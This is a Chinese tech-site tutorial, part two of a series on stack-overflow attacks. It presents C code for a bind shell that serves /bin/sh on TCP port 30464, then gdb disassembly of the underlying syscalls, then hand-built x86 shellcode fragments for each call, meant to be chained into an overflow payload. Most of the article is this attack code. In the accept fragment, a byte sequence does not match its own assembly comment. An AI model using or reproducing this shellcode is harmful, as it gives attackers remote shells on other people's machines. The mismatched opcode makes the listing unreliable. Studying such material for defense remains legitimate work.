科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道堆栈溢出技术从入门到高深(二)

堆栈溢出技术从入门到高深(二)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

继续我们上一次的话题,在上一篇文章我,我提到了如何实现一个Shellcode,本次我们将利用堆栈溢出来获得shell……

作者:谐和 来源:论坛整理 2008年10月13日

关键字: 堆栈溢出技术 安全策略

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共3页)

  下面就是这个算法的C实现:

  1#include

  2#include

  3#include

  4int soc,cli,soc_len;

  5struct sockaddr_in serv_addr;

  6struct sockaddr_in cli_addr;

  7int main()

  8{

  9 if(fork()==0)

  10 {

  11 serv_addr.sin_family=AF_INET;

  12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);

  13 serv_addr.sin_port=htons(30464);

  14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

  15 bind(soc,(struct sockaddr *)&serv_addr,

  sizeof(serv_addr));

  16 listen(soc,1);

  17 soc_len=sizeof(cli_addr);

  18 cli=accept(soc,(struct sockaddr *)&cli_addr,

  &soc_len);

  19 dup2(cli,0);

  20 dup2(cli,1);

  21 dup2(cli,2);

  22 execl("/bin/sh","sh",0);

  23 }

  24}

  第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的pid,对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子进程作为socket通信的执行者继续下面的操作。

  10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后调用bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接 。当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用gdb来反编译上面的程序:

  [nkl10]$Content$nbsp;gcc -o opensocket -static opensocket.c

  [nkl10]$Content$nbsp;gdb opensocket

  GNU gdb 4.17

  Copyright 1998 Free Software Foundation, Inc.

  GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.

  Type "show copying" to see the conditions.

  There is absolutely no warranty for GDB. Type "show warranty" for details.

  This GDB was configured as "i386-redhat-linux"...

  (gdb) disassemble fork

  Dump of assembler code for function fork:

  0x804ca90 : movl $0x2,%eax

  0x804ca95 : int $0x80

  0x804ca97 : cmpl $0xfffff001,%eax

  0x804ca9c : jae 0x804cdc0 <__syscall_error>

  0x804caa2 : ret

  0x804caa3 : nop

  0x804caa4 : nop

  0x804caa5 : nop

  0x804caa6 : nop

  0x804caa7 : nop

  0x804caa8 : nop

  0x804caa9 : nop

  0x804caaa : nop

  0x804caab : nop

  0x804caac : nop

  0x804caad : nop

  0x804caae : nop

  0x804caaf : nop

  End of assembler dump.

  (gdb) disassemble socket

  Dump of assembler code for function socket:

  0x804cda0 : movl %ebx,%edx

  0x804cda2 : movl $0x66,%eax

  0x804cda7 : movl $0x1,%ebx

  0x804cdac : leal 0x4(%esp,1),%ecx

  0x804cdb0 : int $0x80

  0x804cdb2 : movl %edx,%ebx

  0x804cdb4 : cmpl $0xffffff83,%eax

  0x804cdb7 : jae 0x804cdc0 <__syscall_error>

  0x804cdbd : ret

  0x804cdbe : nop

  0x804cdbf : nop

  End of assembler dump.

  (gdb) disassemble bind

  Dump of assembler code for function bind:

  0x804cd60 : movl %ebx,%edx

  0x804cd62 : movl $0x66,%eax

  0x804cd67 : movl $0x2,%ebx

  0x804cd6c : leal 0x4(%esp,1),%ecx

  0x804cd70 : int $0x80

  0x804cd72 : movl %edx,%ebx

  0x804cd74 : cmpl $0xffffff83,%eax

  0x804cd77 : jae 0x804cdc0 <__syscall_error>

  0x804cd7d : ret

  0x804cd7e : nop

  0x804cd7f : nop

  End of assembler dump.

  (gdb) disassemble listen

  Dump of assembler code for function listen:

  0x804cd80 : movl %ebx,%edx

  0x804cd82 : movl $0x66,%eax

  0x804cd87 : movl $0x4,%ebx

  0x804cd8c : leal 0x4(%esp,1),%ecx

  0x804cd90 : int $0x80

  0x804cd92 : movl %edx,%ebx

  0x804cd94 : cmpl $0xffffff83,%eax

  0x804cd97 : jae 0x804cdc0 <__syscall_error>

  0x804cd9d : ret

  0x804cd9e : nop

  0x804cd9f : nop

  End of assembler dump.

  (gdb) disassemble accept

  Dump of assembler code for function __accept:

  0x804cd40 <__accept>: movl %ebx,%edx

  0x804cd42 <__accept+2>: movl $0x66,%eax

  0x804cd47 <__accept+7>: movl $0x5,%ebx

  0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx

  0x804cd50 <__accept+16>: int $0x80

  0x804cd52 <__accept+18>: movl %edx,%ebx

  0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax

  0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>

  0x804cd5d <__accept+29>: ret

  0x804cd5e <__accept+30>: nop

  0x804cd5f <__accept+31>: nop

  End of assembler dump.

  (gdb) disassemble dup2

  Dump of assembler code for function dup2:

  0x804cbe0 : movl %ebx,%edx

  0x804cbe2 : movl 0x8(%esp,1),%ecx

  0x804cbe6 : movl 0x4(%esp,1),%ebx

  0x804cbea : movl $0x3f,%eax

  0x804cbef : int $0x80

  0x804cbf1 : movl %edx,%ebx

  0x804cbf3 : cmpl $0xfffff001,%eax

  0x804cbf8 : jae 0x804cdc0 <__syscall_error>

  0x804cbfe : ret

  0x804cbff : nop

  End of assembler dump.

  现在可以写上面c代码的汇编语句了。

  fork()的汇编代码

  char code[]=

  "\x31\xc0" /* xorl %eax,%eax */

  "\xb0\x02" /* movb $0x2,%al */

  "\xcd\x80" /* int $0x80 */

  socket(2,1,6)的汇编代码

  注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6

  /* socket使用66号系统调用,1号子调用。 */

  /* 他使用一段内存块来传递参数2,1,6。 */

  /* %ecx 里面为这个内存块的地址指针. */

  char code[]=

  "\x31\xc0" /* xorl %eax,%eax */

  "\x31\xdb" /* xorl %ebx,%ebx */

  "\x89\xf1" /* movl %esi,%ecx */

  "\xb0\x02" /* movb $0x2,%al */

  "\x89\x06" /* movl %eax,(%esi) */

  /* 第一个参数 */

  /* %esi 指向一段未使用的内存空间 */

  "\xb0\x01" /* movb $0x1,%al */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  /* 第二个参数 */

  "\xb0\x06" /* movb $0x6,%al */

  "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  /* 第三个参数. */

  "\xb0\x66" /* movb $0x66,%al */

  "\xb3\x01" /* movb $0x1,%bl */

  "\xcd\x80" /* int $0x80 */

  bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码

  /* bind使用66号系统调用,2号子调用。 */

  /* 他使用一段内存块来传递参数。 */

  /* %ecx 里面为这个内存块的地址指针. */

  char code[]=

  "\x89\xf1" /* movl %esi,%ecx */

  "\x89\x06" /* movl %eax,(%esi) */

  /* %eax 的内容为刚才socket调用的返回值, */

  /* 就是soc文件描述符,作为第一个参数 */

  "\xb0\x02" /* movb $0x2,%al */

  "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

  /* serv_addr.sin_family=AF_NET(2) */

  /* 2 放在 0xc(%esi). */

  "\xb0\x77" /* movb $0x77,%al */

  "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

  /* 端口号(0x7700=30464)放在 0xe(%esi) */

  "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

  /* %eax = serv_addr 的地址 */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  /* 第二个参数. */

  "\x31\xc0" /* xorl %eax,%eax */

  "\x89\x46\x10" /* movl %eax,0x10(%esi) */

  /* serv_addr.sin_addr.s_addr=0 */

  "\xb0\x10" /* movb $0x10,%al */

  "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  /* 第三个参数 . */

  "\xb0\x66" /* movb $0x66,%al */

  "\xb3\x02" /* movb $0x2,%bl */

  "\xcd\x80" /* int $0x80 */

  listen(soc,1)的汇编代码

  /* listen使用66号系统调用,4号子调用。 */

  /* 他使用一段内存块来传递参数。 */

  /* %ecx 里面为这个内存块的地址指针. */

  char code[]=

  "\x89\xf1" /* movl %esi,%ecx */

  "\x89\x06" /* movl %eax,(%esi) */

  /* %eax 的内容为刚才socket调用的返回值, */

  /* 就是soc文件描述符,作为第一个参数 */

  "\xb0\x01" /* movb $0x1,%al */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  /* 第二个参数. */

  "\xb0\x66" /* movb $0x66,%al */

  "\xb3\x04" /* movb $0x4,%bl */

  "\xcd\x80" /* int $0x80 */

  accept(soc,0,0)的汇编代码

  /* accept使用66号系统调用,5号子调用。 */

  /* 他使用一段内存块来传递参数。 */

  /* %ecx 里面为这个内存块的地址指针. */

  char code[]=

  "\x89\xf1" /* movl %esi,%ecx */

  "\x89\xf1" /* movl %eax,(%esi) */

  /* %eax 的内容为刚才socket调用的返回值, */

  /* 就是soc文件描述符,作为第一个参数 */

  "\x31\xc0" /* xorl %eax,%eax */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  /* 第二个参数. */

  "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  /* 第三个参数. */

  "\xb0\x66" /* movb $0x66,%al */

  "\xb3\x05" /* movb $0x5,%bl */

  "\xcd\x80" /* int $0x80 */

  dup2(cli,0)的汇编代码

  /* 第一个参数为 %ebx, 第二个参数为 %ecx */

  char code[]=

  /* %eax 里面是刚才accept调用的返回值, */

  /* 客户的文件描述符cli . */

  "\x88\xc3" /* movb %al,%bl */

  "\xb0\x3f" /* movb $0x3f,%al */

  "\x31\xc9" /* xorl %ecx,%ecx */

  "\xcd\x80" /* int $0x80 */

  现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章